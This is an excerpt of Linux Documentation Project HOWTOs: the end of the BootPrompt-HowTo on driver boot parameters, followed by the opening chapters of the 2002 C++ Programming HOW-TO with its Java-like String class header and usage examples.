The first non-numeric argument is taken as the name. The param_n values (if applicable) usually have different meanings for each different card/driver. Typical param_n values are used to specify things like shared memory address, interface selection, DMA channel and the like.

The most common use of this parameter is to force probing for a second ethercard, as the default is to only probe for one. This can be accomplished with a simple:

        ether=0,0,eth1

Note that the values of zero for the IRQ and I/O base in the above example tell the driver(s) to autoprobe.

IMPORTANT NOTE TO MODULE USERS: The above will not force a probe for a second card if you are using the driver(s) as run time loadable modules (instead of having them complied into the kernel). Most Linux distributions use a bare bones kernel combined with a large selection of modular drivers. The ether= only applies to drivers compiled directly into the kernel.

The Ethernet-HowTo has complete and extensive documentation on using multiple cards and on the card/driver specific implementation of the param_n values where used. Interested readers should refer to the section in that document on their particular card for more complete information. Ethernet-HowTo

11.2 The Floppy Disk Driver (`floppy=')

There are many floppy driver options, and they are all listed in README.fd in linux/drivers/block. There are too many options in that file to list here. Instead, only those options that may be required to get a Linux install to proceed on less than normal hardware are reprinted here.

floppy=0,daring Tells the floppy driver that your floppy controller should be used with caution (disables all daring operations).

floppy=thinkpad Tells the floppy driver that you have a Thinkpad. Thinkpads use an inverted convention for the disk change line.

floppy=nodma Tells the floppy driver not to use DMA for data transfers. This is needed on HP Omnibooks, which don't have a workable DMA channel for the floppy driver. This option is also useful if you frequently get `Unable to allocate DMA memory' messages. Use of `nodma' is not recommended if you have a FDC without a FIFO (8272A or 82072). 82072A and later are OK). The FDC model is reported at boot. You also need at least a 486 to use nodma.

floppy=nofifo Disables the FIFO entirely. This is needed if you get `Bus master arbitration error' messages from your Ethernet card (or from other devices) while accessing the floppy.

floppy=broken_dcl Don't use the disk change line, but assume that the disk was changed whenever the device node is reopened. Needed on some boxes where the disk change line is broken or unsupported. This should be regarded as a stopgap measure, indeed it makes floppy operation less efficient due to unneeded cache flushings, and slightly more unreliable. Please verify your cable connection and jumper settings if you have any DCL problems. However, some older drives, and also some Laptops are known not to have a DCL.

floppy=debug Print (additional) debugging messages.

floppy=messages Print informational messages for some operations (disk change notifications, warnings about over and underruns, and about autodetection).

11.3 The Bus Mouse Driver (`bmouse=')

The busmouse driver only accepts one parameter, that being the hardware IRQ value to be used.

11.4 The MS Bus Mouse Driver (`msmouse=')

The MS mouse driver only accepts one parameter, that being the hardware IRQ value to be used.

11.5 The Printer Driver (`lp=')

With this boot argument you can tell the printer driver what ports to use and what ports not to use. The latter comes in handy if you don't want the printer driver to claim all available parallel ports, so that other drivers (e.g. PLIP, PPA) can use them instead.

The format of the argument is multiple i/o, IRQ pairs. For example, lp=0x3bc,0,0x378,7 would use the port at 0x3bc in IRQ-less (polling) mode, and use IRQ 7 for the port at 0x378. The port at 0x278 (if any) would not be probed, since autoprobing only takes place in the absence of a lp= argument. To disable the printer driver entirely, one can use lp=0.

11.6 The Parallel port IP driver (`plip=')

Using plip=timid will tell the plip driver to avoid any ports that appear to be in use by other parallel port devices. Otherwise you can use plip=parportN where N is a non-zero integer indicating the parallel port to use. (Using N=0 will disable the plip driver.)


The Linux BootPrompt-HowTo: Copying, Translations, Closing, etc.

 Next Previous Contents

12. Copying, Translations, Closing, etc.

Hey, you made it to the end! (Phew...) Now just the legal stuff.

12.1 Copyright and Disclaimer

This document is Copyright (c) 1995-1999 by Paul Gortmaker. Copying and redistribution is allowed under the conditions as outlined in the Linux Documentation Project Copyright, available from where you obtained this document, OR as outlined in the GNU General Public License, version 2 (see linux/COPYING).

This document is not gospel. However, it is probably the most up to date info that you will be able to find. Nobody is responsible for what happens to your hardware but yourself. If your stuff goes up in smoke, or anything else bad happens, we take no responsibility. ie. THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION INCLUDED IN THIS DOCUMENT.

A hint to people considering doing a translation. First, translate the SGML source (available via FTP from the HowTo main site) so that you can then generate other output formats. Be sure to keep a copy of the original English SGML source that you translated from! When an updated HowTo is released, get the new SGML source for that version, and then a simple diff -u old.sgml new.sgml will show you exactly what has changed so that you can easily incorporate those changes into your translated SMGL source without having to re-read or re-translate everything.

If you are intending to incorporate this document into a published work, please make contact (via e-mail) so that you can be supplied with the most up to date information available. In the past, out of date versions of the Linux HowTo documents have been published, which caused the developers undue grief from being plagued with questions that were already answered in the up to date versions.

12.2 Closing

If you have found any glaring typos, or outdated info in this document, please let me know. It is easy to overlook stuff, as the kernel (and the number of drivers) is huge compared to what it was when I started this.

Thanks,

Paul Gortmaker, p_gortmaker@yahoo.com


C++ Programming HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v42.2, 11 April 2002

This document provides a comprehensive list of C++ URL pointers, links to C++ online textbooks, and programming tips on C++. This document also provides a C++ library which imitates Java-language, and which has various methods to avoid memory problems in C++. Using this library you can compile Java's source code under C++. This document serves as a "Home of C++ language". The information given here will help you to program properly in C++ language and applies to all the operating systems that is - Linux, MS DOS, BeOS, Apple Macintosh OS, Microsoft Windows 95/98/NT/2000, OS/2, IBM OSes (MVS, AS/400 etc..), VAX VMS, Novell Netware, all flavors of Unix like Solaris, HPUX, AIX, SCO, Sinix, BSD, etc.. and to all other operating systems which supplies C++ compilers (it means almost all the operating systems on this planet).

1. Introduction

  • 1.1 Program in C++ ? C++ vs. Java/PHP
  • 1.2 Which one Ada95, C, C++, Java or PHP?
  • 1.3 Problems facing the current C++ compilers

2. Recommended C++ Compilers

  • 2.1 Compilers for MS Windows 2000/NT/95/98/ME/XP
  • 2.2 Compilers for UNIX systems and clones

3. String Class Varieties

  • 3.1 Multiple Inheritance - Sample Custom String class

4. Download String

  • 4.1 How Can I trust Al Dev's String Class?

5. Usage of String class

  • 5.1 Operators
  • 5.2 Functions
  • 5.3 Renaming the String class

6. String.h file

  • 6.1 StringBuffer.h
  • 6.2 StringTokenizer.h

7. The Standard C++ Library string class

  • 7.1 string by example
  • 7.2 Searching a string
  • 7.3 A string tokenizer

8. File Class

9. Memory Allocation in C++

  • 9.1 C++ Zap (Delete) function
  • 9.2 Usage of my_malloc and my_free
  • 9.3 Garbage Collector for C++

10. Pointers are problems

11. Debugging

  • 11.1 Debug files

12. IDE's and editors for C++

  • 12.1 IDE's
  • 12.2 Editors
  • 12.3 Other ressources

13. C++ Online Textbooks and Docs

  • 13.1 C++ Sites
  • 13.2 C++ Tutorials
  • 13.3 Useful links
  • 13.4 C++ Quick-Reference
  • 13.5 C++ Usenet Newsgroups
  • 13.6 Java like API

14. C++ Coding Conventions

15. C++ Scripting Languages

  • 15.1 PIKE & PHP (C/C++ Scripting Languages)
  • 15.2 SoftIntegration Ch (C/C++ Scripting Language)
  • 15.3 PHP (C++ Scripting Language)

16. Templates

17. STL References

  • 17.1 Overview of the STL
  • 17.2 Header Files
  • 17.3 The Container Classes Interface
  • 17.4 Vectors
  • 17.5 Iterators and the STL
  • 17.6 Lists
  • 17.7 Sets
  • 17.8 Maps
  • 17.9 STL Algorithms

18. Threads in C++

  • 18.1 Threads Tutorial
  • 18.2 Designing a Thread Class in C++

19. C++ Utilities

  • 19.1 Memory Tools

20. Other Formats of this Document

  • 20.1 Acrobat PDF format
  • 20.2 Convert linuxdoc to Docbook format
  • 20.3 Convert to MS WinHelp format
  • 20.4 Reading various formats

21. Translations To Other Languages

22. Copyright

23. Appendix A String Program Files


C++ Programming HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

The purpose of this document is to provide you with a comprehensive list of URL pointers and programming tips on C++. Also, this document provides a Java-like String class, string tokenizer, memory functions and many other functions, which can be used in general C++ applications. C++ and Java is often used concurrently in many software projects. Programmers jump back and forth between C++ and Java will find this Java-like classes very helpful. Various examples are given which demonstrate the usage of this library and the Standard C++ Library.

This document is not a textbook on C++, and there are already several excellent on-line text books on the internet. Since C++ is being used for a long time there are very large number of C++ documents/articles/tutorials on Internet. If you are new to C++ and you never programmed in C++, then it is strongly suggested that you first either read an online C++ textbook given in chapter C++ Online Textbooks or you buy a C++ book from online bookstores such as Amazon or barnes.

As someone said - Leave the C/C++ programming to system engineers who write operating system, device drivers and fast response real-time programming, you should use Java/PHP-scripting as speed of the computers in year 2005 will be several billion times faster than computers of year 2002!! Hardware is getting cheaper and faster.

1.1 Program in C++ ? C++ vs. Java/PHP

C++ is one of the most powerful languages and will be used for a long time in the future in spite of emergence of Java or PHP-scripting. Programs which need real-time ultra fast response use C/C++. C++ runs extremely fast and is in fact 10 to 20 times FASTER than Java. Java is the "offspring" of C++. The only complaint against Java is - "Java is GOD DAMN SLOW" . Java byte-code is slower when running in a VM than the equivalent natively compiled code. Java runs faster with JIT (Just-In-Time) compiler, but it is still slower than C++. And optimized C/C++ program is about 3 to 4 times faster than Java compiled to native code with JIT compiler or ahead-of-time compiler!! Then, why do people use Java? Because it is pure object oriented and is easier to program in Java, as Java automates memory management, and programmers do not directly deal with memory allocations. This document attempts to automate the memory management in C++ to make it much more easy to use. The library given here will make C++ look like Java and will enable C++ to compete with the Java language.

Because of manual memory allocations, debugging the C++ programs consumes a major portion of time. This document will give you some better ideas and tips to reduce the debugging time.

When should you use C++ and when you should use Java/PHP?

Bottom line is, you use C++:

  • If you are developing a program where speed and performance is very important.
  • If the user base of your application or program is very large. Since C++ involves compile-link-debug cycle it is more time consuming to develop application in C++. You can justify the cost only if the user base of your program is large enough. Linking large number of object files to create an executable takes time. (You can use archives, libraries or shared libraries to reduce linking time).
  • If you have lot of experience programming in C++.
Use Java/PHP:
  • If speed and performance is not important (relative to C/C++).
  • Lower cost of development - There is no compile-link cycle, Java/PHP development is faster than C++.
  • Need rapid development.
  • You want no code maintenance nightmare. Maintaining C++ is more difficult than Java or PHP-scripting.
  • Java and PHP-scripting is the future, hardware speed will be zooming with the introduction of molecular, atomic and sub-atomic scale computers. Future computers will be several trillion times faster than today's computer. Runtime performance of Java or PHP-script becomes less important as speed of hardware zooms in future. The computers you are using today (as of year 2002) are extremely slow and crawling and are not fast enough.

NOTE: There are lot of improvements in Java compilers (JIT and ahead-of-time). Java programs can be compiled with GNU GCJ http://gcc.gnu.org/java, GCJ is a portable, optimizing, ahead-of-time compiler for the Java programming language. It can compile - Java source code directly to native machine code, Java source code to Java bytecode (class files), and Java bytecode to native machine code.

The Java native code compiler "gnu GCJ" is very rapidly maturing and in near future everybody will be programming in Java instead of C++. Special optimizers in gnu GCJ compiler can make Java programs as fast as C++ programs. The gnu GCJ compiler is 2-3 years away in becoming the defacto compiler on all platforms (initially on Linux and then on MS Windows).

GCJ resources:

  • Main site GNU GCJ http://gcc.gnu.org/java,
  • Redhat rpm GNU GCJ http://www.redhat.com/apps/download. Go here and under the section "Find latest RPMs" search by keyword 'gcc-java' and 'libgcj'.
  • Redhat GCJ Installation instructions http://www.redhat.com/devnet/articles/gcj.pdf . In this document see also the "Usage of gnu GCJ", it gives some examples on howto compile the Java programs using gcj (you MUST read the examples otherwise you will be confused).

1.2 Which one Ada95, C, C++, Java or PHP?

Language choice is very difficult. There are too many parameters - people, people skills, cost, tools, politics (even national politics) and influence of businessmen/commercial companies. The best language based on technical merits does not get selected simply due to political decisions!

See the language comparison chart of David Wheeler at Ada comparison chart. Ada got 93%, Java 72%, C++ 68% and C got 53%. C++ and Java are closer in points (only 4% difference). Development costs of Ada is half of C++ as per Stephen F. Zeigler. Ada95 is available at -

  • Ada home http://www.gnuada.org.
  • Google Ada index

The C++ compiler is lot more complex than a C compiler and C++ programs may run bit slower than C programs. The C compiler is very mature and seasoned.

On some system, you can use compiler options, to optimize the code generated.

Nowadays, C is primarily used for low level systems programming to develop operating systems, device drivers and applications which must perform fast.

Note: Using the String, StringBuffer, StringTokenizer and StringReader classes given in this howto, you can code in C++ which "exactly" looks like Java. Parts of this document tries to close the gap between C++ and Java, by imitating Java classes in C++. Java programmers who jump to and fro from C++ to Java will like this String class.

If you want to bypass the edit-compile-debug-compile cycle of C++ then see scripting languages like PHP which can be used for web development and for general purpose programming. Scripting languages like PHP, PERL enable rapid application development. PHP has some features of object-oriented programming. PHP is at http://www.linuxdoc.org/HOWTO/PHP-HOWTO.html.

1.3 Problems facing the current C++ compilers

Since C++ is super-set of C, it has all the "bad" features of C. Manual allocation and deallocation of memory is tedious and error prone (see Garbage Collector for C++).

In C programming - memory leaks, memory overflows are very common due to usage of features like -

        Datatype  char * and char[]
        String functions like strcpy, strcat, strncpy, strncat, etc..
        Memory functions like malloc, realloc, strdup, etc..

The usage of char * and strcpy causes horrible memory problems due to "overflow", "fence past errors", "memory corruption", "step-on-others-toe" (hurting other variable's memory locations) or "memory leaks". The memory problems are extremely hard to debug and are very time consuming to fix and trouble-shoot. Memory problems bring down the productivity of programmers. This document helps in increasing the productivity of programmers via different methods addressed to solve the memory defects in C++. Memory related bugs are very tough to crack, and even experienced programmers take several days or weeks to debug memory related problems. Memory bugs may be hide inside the code for several months and can cause unexpected program crashes. The memory bugs due to usage of char * and pointers in C/C++ is costing $2 billion every year in time lost due to debugging and downtime of programs. If you use char * and pointers in C++ then it is a very costly affair, especially if your program size is greater than 10,000 lines of code.

Hence, the following techniques are proposed to overcome the faults of C. Give preference in the following order -

  1. Use references instead of pointers.
  2. Java style String class (given in this HOWTO) or the string class from the Standard C++ Library.
  3. Character pointers (char *) in C++ limit the usage of char * to cases where you cannot use the String class.
  4. Character pointers (char *) in C using extern linkage specification, if you do not want to use (char *) in C++.

To use "C char *", you would put all your C programs in a separate file and link to C++ programs using the linkage-specification statement extern "C" -

extern "C" {
#include <some_c_header.h>
}

extern "C" {
    comp();
    some_c_function();
}

The extern "C" is a linkage specification and is a flag that everything within the enclosing block (brace-surrounded) uses C linkage, not C++ linkage.

The 'String class' utilizes the constructor and destructor features to automate memory management and provides access to functions like ltrim, substring, etc..

See also related string class in your C++ compiler. The string class is part of the Standard C++ Library library and provides many string manipulation functions.

Because the C++ 'string class' and 'String class' library provides many string manipulation functions, there is less need to use the character pointer approach to write your own string functions. Also, C++ programmers must be encouraged to use 'new', 'delete' operators instead of using 'malloc' or 'free'.

Both string classes does everything that char * or char [] does. One of the added benefits is that you do not have to worry about the memory problems and memory allocation at all.


C++ Programming HOW-TO: Recommended C++ Compilers

 Next Previous Contents

2. Recommended C++ Compilers

The current C++ standard adopted by ISO and ANSI was first finalized in 1997, this means that not all compilers are up to pace yet, and not supporting all features - it is extremely important that you get a standard compliant C++ compiler.

2.1 Compilers for MS Windows 2000/NT/95/98/ME/XP

Since MS Windows is quite popular for C++ development, the String class library given in this document works well and runs very well on all the versions of MS Windows i.e. MS Win XP/2000/NT/95/98/ME. The C++ compilers for MS Windows are:

  • GNU BloodShed at http://www.bloodshed.net/devcpp.html
  • Borland C++ compiler http://www.borland.com/bcppbuilder/freecompiler
  • Microsoft Visual C++ compiler http://msdn.microsoft.com/visualc
  • MSDOS C++ compiler http://www.delorie.com/djgpp
The String class in this document is tested with all the above compilers. It works fine with MS Visual C++ compiler v6.0, Borland C++ v5.2, Borland C++ compiler v5.5.1 and Bloodshed compiler.

2.2 Compilers for UNIX systems and clones

In a GNU world, you will always be best off with GCC (GNU Compiler Collection), GCC is distributed with most Linux distributions, FreeBSD and most other UNIX clones. The GCC homepage is located at http://gcc.gnu.org. The latest version of GCC (3.0) is one of the most standards compliant compilers out there.


C++ Programming HOW-TO: String Class Varieties

 Next Previous Contents

3. String Class Varieties

The string class is the one of the most vital objects in programming, and string manipulations are most extensively used. There is a lot of varieties of string classes. Of course, you can build your own string class by simply inheriting from these string classes -

  • String class given in this document Appendix A String.h

  • Standard C++ Library string class (ANSI/ISO string class at http://www.msoe.edu/eecs/cese/resources/stl/string.htm and http://www.sgi.com/tech/stl/basic_string.html

  • The external library Qt, has a Qt String class at http://doc.trolltech.com/qstring.html mirror at http://www.cs.berkeley.edu/~dmartin/qt/qstring.html

  • If none of these are suitable, you can build your own string class. You can start with one or more of the pre-built classes listed above (by using single or multiple inheritance.)

3.1 Multiple Inheritance - Sample Custom String class

As mentioned above, you can build your own custom string class from the pre-built classes by single or multiple inheritance. In this section we will build a sample custom string class by using multiple inheritance, inheriting the standard C++ library string class and the String class presented in Appendix A.

Start by downloading the sample file 'string_multi.h' from Appendix A .

That file is reproduced below:

// ******************************************************************
// Sample program to demonstrate constructing your own string class
// by deriving from the String class and stdlib's "string" class
// ******************************************************************

#ifndef __STRING_MULTI_H_ALDEV_
#define __STRING_MULTI_H_ALDEV_

#include <string>
#include "String.h"
#include "StringBuffer.h"

#ifdef NOT_MSWINDOWS
#else
using namespace std;  // required for MS Visual C++ compiler Version 6.0
#endif

// Important Notes: In C++ the constructors, destructors and copy
//       operator are NOT inherited by the derived classes!!
//       Hence, if the operators like =, + etc.. are defined in
//       base class and those operators use the base class's contructors
//       then you MUST define equivalent constructors in the derived
//       class. See the sample given below where constructors mystring(),
//       mystring(char[]) are defined.
//
//       Also when you use operator as in atmpstr + mstr, what you are really
//       calling is atmpstr.operator+(mstr). The atmpstr is declared a mystring

class mystring:public String, string
{
        public:
                mystring():String() {}  // These are needed for operator=, +
                mystring(char bb[]):String(bb) {}  // These are needed for operator=, +
                mystring(char bb[], int start, int slength):String(bb, start, slength) {}
                mystring(int bb):String(bb) {}  // needed by operator+
                mystring(unsigned long bb):String(bb) {}  // needed by operator+
                mystring(long bb):String(bb) {}  // needed by operator+
                mystring(float bb):String(bb) {}  // needed by operator+
                mystring(double bb):String(bb) {}  // needed by operator+
                mystring(const String & rhs):String(rhs) {}  // Copy Constructor needed by operator+
                mystring(StringBuffer sb):String(sb) {}  // Java compatibility
                mystring(int bb, bool dummy):String(bb, dummy) {}  // for StringBuffer class

                int mystraa; // customizations of mystring
        private:
                int mystrbb; // customizations of mystring
};

#endif // __STRING_MULTI_H_ALDEV_


C++ Programming HOW-TO: Download String

 Next Previous Contents

4. Download String

All the programs, examples are given in Appendix of this document. You can download as a single tar zip, the String class, libraries and example programs from

  • Go to http://www.milkywaygalaxy.freeservers.com and click on "Source code C++ Programming howto" ( Milkyway Galaxy site)
  • Mirror sites are at - angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.

4.1 How Can I trust Al Dev's String Class?

You may a have question of mis-trust on the String class software. To build confidence, there is a scientific method to verify the functionality of Al Dev's String class. In modern days, computer scientists use the CPU power instead of human brain power to verify and validate the software. Human brain is too slow and hence it is better to use the computer's power to test and validate software.

The program example_String.cpp go here and click on 'Source code for C++'. (and also given in Appendix A ) has regression test module which you can use to run the regression tests several millions of times automatically. After running the regression tests on the String class you can certify that the String class program is a ROCK SOLID and a BULLET-PROOF program.

I tested the String class with repeat cycle = 50000 and it ran and completed the program without crash. While it is running I did not notice any memory leak. On Linux, I used /usr/bin/gtop, UNIX top command, KDEStart->System->KDE System Guard and KDEStart->System->Process management to monitor the cpu and memory usage.

I recommend that you start the regression test with repeat cycle equal to 10 million or greater. The greater the repeat cycle number the greater will be your confidence!! Start the test and go to lunch (or go drink gharam chai - "chai peeke auvo") and come back to see the results!!


C++ Programming HOW-TO: Usage of String class

 Next Previous Contents

5. Usage of String class

Take notice, this String class is not the same as the string class implemented in the Standard C++ Library. This special String class is a "home-made" String class, made to help Java programmers convert to C++. When you are more comfortable with C++, you should use the real string class provided in The Standard C++ Library.

To use String class, you should first refer to a sample program "example_String.cpp" given in Appendix A and the String class which is given in Appendix A.

The 'String class' is a complete replacement for char and char * datatype. You can use 'String class' just like char and get much more functionalities. You should link with the library 'libString.a' which you can build from the makefile given in Appendix A and copy the library to /usr/lib or /lib directory where all the C++ libraries are located. To use the 'libString.a' compile your programs like -

        g++ example.cpp -lString
See illustration sample code as given below -
        String aa;

        aa = "Creating an Universe is very easy, similar to creating a baby human.";

        // You can use aa.val() like a 'char *' variable in programs
        for (unsigned long tmpii = 0; tmpii < aa.length(); tmpii++)
        {
                //fprintf(stdout, "aa.val()[%ld]=%c ", tmpii, aa.val()[tmpii]);
                fprintf(stdout, "aa[%ld]=%c ", tmpii, aa[tmpii]);
        }

        // Using pointers on 'char *' val ...
        for (char *tmpcc = aa.val(); *tmpcc != 0; tmpcc++)
        {
                fprintf(stdout, "aa.val()=%c ", *tmpcc);
        }

5.1 Operators

The 'String class' provides these operators :-

  • Equal to ==
  • Not equal to !=
  • Assignment =
  • Add to itself and Assignment +=
  • String concatenation or addition +
For example to use operators -
        String aa;
        String bb("Bill Clinton");

        aa = "put some value string";  // assignment operator
        aa += "add some more"; // Add to itself and assign operator
        aa = "My name is" + " Alavoor Vasudevan "; // string cat operator

        if (bb == "Bill Clinton")  // boolean equal to operator
                cout << "bb is equal to 'Bill Clinton' " << endl;

        if (bb != "Al Gore")   // boolean 'not equal' to operator
                cout << "bb is not equal to 'Al Gore'" << endl;

5.2 Functions

The functions provided by String class has the same name as that of Java language's String class. The function names and the behaviour is exactly same as that of Java's String class. StringBuffer class is also provided. This will facilitate portability of code between Java and C++ (you can cut and paste and do minimum changes to code). The code from Java's function body can be copied into C++ member function body and with very mininum changes the code will compile under C++. Another advantage is that developers coding in both Java and C++ do not need to remember two different syntax or function names.

For example to convert integer to string do -

        String  aa;

        aa = 34;  // The '=' operator will convert int to string
        cout << "The value of aa is : " << aa.val() << endl;

        aa = 234.878;  // The '=' operator will convert float to string
        cout << "The value of aa is : " << aa.val() << endl;

        aa = 34 + 234.878;
        cout << "The value of aa is : " << aa.val() << endl;
        // The output aa will be '268.878'

        // You must cast String to convert
        aa = (String) 34 + " Can create infinite number of universes!! " + 234.878;
        cout << "The value of aa is : " << aa.val() << endl;
        // The output aa will be '34 Can create infinite number of universes!! 234.878'

Refer to Appendix A String.h for details about the String class function names. The same file String.h is reproduced here in next section.

5.3 Renaming the String class

Case 1: Simple rename

If you do not like the String class name then you can use "typedef" to rename the String class.

In all the files where you do include String.h, insert these lines:

// If you do not like the class name String, then you can rename using typedef
typedef String StringSomethingElseIwant;

// Your remaining code may be like this ....
int main()
{
        StringSomethingElseIwant aa_renstr;
        aa_renstr = "I renamed the String Class using typedef";

        // .......etc...
}
See the example_String.cpp click on 'Source code for C++'.

Case 2: Resolve conflict

If there is a conflict with another class-name having the same name, and you want to use both this class and conflicting class then you use this technique - in all the files where you do include String.h, insert these lines:

#define  String  String_somethingelse_which_I_want
#include "String.h"
#undef String

#include "ConflictingString.h"  // This also has String class...

// All your code goes here...
int main()
{
        String_somethingelse_which_I_want aa;
        String bb; // This string class from conflicting string class

        aa = " some sample string";
        bb = " another string abraka-dabraka";
        .......
}
The pre-processor will replace all literals of String to "String_somethingelse_which_I_want" and immdiately undefines String. After undef the conflicting string class header file is included which defines the "String" class.


C++ Programming HOW-TO: String.h file

 Next Previous Contents

6. String.h file

C++ and Java is often used concurrently in many software projects. Programmers jump back and forth between C++ and Java will find this string class very helpful.

In C++ (or any object oriented language), you just read the "class data-structure" (i.e. interface) to begin using that class. You just need to understand the interface and not the implementation of the interface. In case of String class, you just need to read and understand the String class in String.h file. You do not need to read the entire implementation (String.cpp) in order to use String class. The object oriented classes are real time saver and they very neatly hide the implementation.

(In object oriented Java language there is the equivalent called 'interface' , which hides the implementation details.)

Given below is String.h file and see also Appendix A String.h

//
// Author : Al Dev  Email: alavoor[AT]yahoo.com
// Use string class or String class
//
// To prevent memory leaks - a char class to manage character variables
// Always prefer to use String or string class
// instead of char[] or char *
//

#ifndef __STRING_H_ALDEV_
#define __STRING_H_ALDEV_

// do not use iostream as program becomes bulky..
#ifdef NOT_MSWINDOWS
#include <iostream>
#else
#include <iostream.h> // For backward compatibility. Standard C++ Library headers have no .h
#endif // NOT_MSWINDOWS

#include <stdio.h>   // for FILE and sprintf()
//#include <list.h> // for list

// For MS Windows 95 VC++ or Borland C++ compiler do -
//see file d:\program files\CBuilder\include\examples\stdlib\list.cpp and include\list.h
//#include <list> // for list
//using namespace std;

const short INITIAL_SIZE =      50;
const short NUMBER_LENGTH = 300;
const int MAX_ISTREAM_SIZE = 2048;

//class StringBuffer;

// I compiled and tested this string class on Linux (Redhat 7.1) and
// MS Windows Borland C++ version 5.2 (win32). This should also work
// using MS Visual C++ compiler
class String
{
        public:
                String();
                String(const char bb[]);  // needed by operator+
                String(const char bb[], int start, int slength); // subset of chars
                String(int bb);  // needed by operator+
                String(unsigned long bb);  // needed by operator+
                String(long bb);  // needed by operator+
                String(float bb);  // needed by operator+
                String(double bb);  // needed by operator+
                String(const String & rhs);  // Copy Constructor needed by operator+
                //String(StringBuffer sb);  // Java compatibility - but causes compile problem on MS windows and core dumps
                String(int bb, bool dummy);  // for StringBuffer class
                virtual ~String();  // Made virtual so that when base class is deleted
                                                        // then the derived class destructor is called.

                char *val() {return sval;} // It is not safe to make sval public

                // Functions below imitate Java language's String object
                unsigned long length();
                char charAt(int where);
                void getChars(int sourceStart, int sourceEnd,
                                char target[], int targetStart);
                char* toCharArray();
                char* getBytes();

                bool equals(String str2); // See also == operator
                bool equals(char *str2); // See also == operator
                bool equalsIgnoreCase(String str2);

                bool regionMatches(int startIndex, String str2,
                                int str2StartIndex, int numChars);
                bool regionMatches(bool ignoreCase, int startIndex,
                                String str2, int str2StartIndex, int numChars);

                String toUpperCase();
                String toLowerCase();

                bool startsWith(String str2);
                bool startsWith(char *str2);

                bool endsWith(String str2);
                bool endsWith(char *str2);

                int compareTo(String str2);
                int compareTo(char *str2);
                int compareToIgnoreCase(String str2);
                int compareToIgnoreCase(char *str2);

                int indexOf(char ch, int startIndex = 0);
                int indexOf(char *str2, int startIndex = 0);
                int indexOf(String str2, int startIndex = 0);

                int lastIndexOf(char ch, int startIndex = 0);
                int lastIndexOf(char *str2, int startIndex = 0);
                int lastIndexOf(String str2, int startIndex = 0);

                String substring(int startIndex, int endIndex = 0);
                String replace(char original, char replacement);
                String replace(char *original, char *replacement);

                String trim(); // See also overloaded trim()

                String concat(String str2);  // See also operator +
                String concat(char *str2); // See also operator +
                String concat(int bb);
                String concat(unsigned long bb);
                String concat(float bb);
                String concat(double bb);

                String reverse(); // See also overloaded reverse()
                String deleteCharAt(int loc);
                String deleteStr(int startIndex, int endIndex); // Java's "delete()"

                String valueOf(char ch)
                        {char aa[2]; aa[0]=ch; aa[1]=0; return String(aa);}
                String valueOf(char chars[]){ return String(chars);}
                String valueOf(char chars[], int startIndex, int numChars);
                String valueOf(bool tf)
                        {if (tf) return String("true"); else return String("false");}
                String valueOf(int num){ return String(num);}
                String valueOf(long num){ return String(num);}
                String valueOf(float num) {return String(num);}
                String valueOf(double num) {return String(num);}

                // See also StringBuffer class in this file given below

                // ---- End of Java like String object functions -----

                //////////////////////////////////////////////////////
                //              List of additonal functions not in Java
                //////////////////////////////////////////////////////
                String ltrim();
                void ltrim(bool dummy); // Directly changes object. dummy to get different signature
                String rtrim();
                void rtrim(bool dummy); // Directly changes object. See also chopall().
                                // dummy to get different signature

                void chopall(char ch='\n'); // removes trailing character 'ch'. See also rtrim()
                void chop(); // removes one trailing character

                void roundf(float input_val, short precision);
                void decompose_float(long *integral, long *fraction);

                void roundd(double input_val, short precision);
                void decompose_double(long *integral, long *fraction);

                void explode(char *separator); // see also token() and overloaded explode()
                String *explode(int & strcount, char separator = ' '); // see also token()
                void implode(char *glue);
                void join(char *glue);
                String repeat(char *input, unsigned int multiplier);
                String tr(char *from, char *to); // translate characters
                String center(int padlength, char padchar = ' ');
                String space(int number = 0, char padchar = ' ');
                String xrange(char start, char end);
                String compress(char *list = " ");
                String left(int slength = 0, char padchar = ' ');
                String right(int slength = 0, char padchar = ' ');
                String overlay(char *newstr, int start = 0, int slength = 0, char padchar = ' ');

                String at(char *regx); // matches first match of regx
                String before(char *regx); // returns string before regx
                String after(char *regx); // returns string after regx
                String mid(int startIndex = 0, int length = 0);

                bool isNull();
                bool isInteger();
                bool isInteger(int pos);
                bool isNumeric();
                bool isNumeric(int pos);
                bool isEmpty();  // same as length() == 0
                bool isUpperCase();
                bool isUpperCase(int pos);
                bool isLowerCase();
                bool isLowerCase(int pos);
                bool isWhiteSpace();
                bool isWhiteSpace(int pos);
                bool isBlackSpace();
                bool isBlackSpace(int pos);
                bool isAlpha();
                bool isAlpha(int pos);
                bool isAlphaNumeric();
                bool isAlphaNumeric(int pos);
                bool isPunct();
                bool isPunct(int pos);
                bool isPrintable();
                bool isPrintable(int pos);
                bool isHexDigit();
                bool isHexDigit(int pos);
                bool isCntrl();
                bool isCntrl(int pos);
                bool isGraph();
                bool isGraph(int pos);

                void clear();
                int toInteger();
                long parseLong();

                double toDouble();
                String token(char separator = ' '); // see also StringTokenizer, explode()
                String crypt(char *original, char *salt);
                String getline(FILE *infp = stdin); // see also putline()
                //String getline(fstream *infp = stdin); // see also putline()

                void putline(FILE *outfp = stdout); // see also getline()
                //void putline(fstream *outfp = stdout); // see also getline()

                void swap(String aa, String bb); // swap aa to bb
                String *sort(String aa[]);  // sorts array of strings
                String sort(int startIndex = 0, int length = 0);  // sorts characters inside a string
                int freq(char ch); // returns the number of distinct, nonoverlapping matches
                void Format(const char *fmt, ...);
                String replace (int startIndex, int endIndex, String str);

                void substring(int startIndex, int endIndex, bool dummy); // Directly changes object
                void reverse(bool dummy); // Directly changes object. dummy to get different signature
                String deleteCharAt(int loc, bool dummy); // Directly changes object
                String deleteStr(int startIndex, int endIndex, bool dummy);
                void trim(bool dummy); // Directly changes object. dummy to get different signature
                String insert(int index, String str2);
                String insert(int index, String str2, bool dummy); // Directly changes object
                String insert(int index, char ch);
                String insert(int index, char ch, bool dummy); // Directly changes object
                String insert(char *newstr, int start = 0, int length = 0, char padchar = ' ');

                String dump(); // Dump the string like 'od -c' (octal dump) does

                // required by Java's StringBuffer
                void ensureCapacity(int capacity);
                void setLength(int len);
                void setCharAt(int where, char ch); // see also charAt(), getCharAt()

                // required by Java's Integer class, Long, Double classes
